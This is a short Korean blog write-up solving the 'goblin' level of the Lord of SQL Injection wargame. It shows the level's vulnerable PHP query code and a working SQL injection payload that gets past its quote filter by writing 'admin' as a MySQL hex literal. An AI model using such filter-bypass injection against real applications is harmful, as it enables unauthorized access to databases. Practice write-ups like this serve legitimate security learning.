WARGAME/Lord of sql injection

LORD OF SQL INJECTION GOBLIN 풀이

msh1307 2022. 5. 13. 12:32

소스 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>
 
cs

풀이


id가 admin이면 풀리게 되어있다.

정규표현식으로 따옴표들이 필터링에 걸려서 mysql의 hex encoding을 이용할 거다.

mysql에서 0x 접두사를 붙이고 hex값을 넣어주면 아스키로 해석한다.

admin을 아스키 hex값으로 바꾸고 0x를 붙여주면 0x61646d696e가 된다. 

그래서 no에 아무 값이나 넣어주고 or을 사용해서 id를 검색해줬다.

최종적으로 쿼리문은 select id from porb_goblin where id='guest' and no=0 or id =0x61646d696e가 된다.

?no=0%20or%20id=0x61646d696e를 파라미터로 보내주면 풀린다.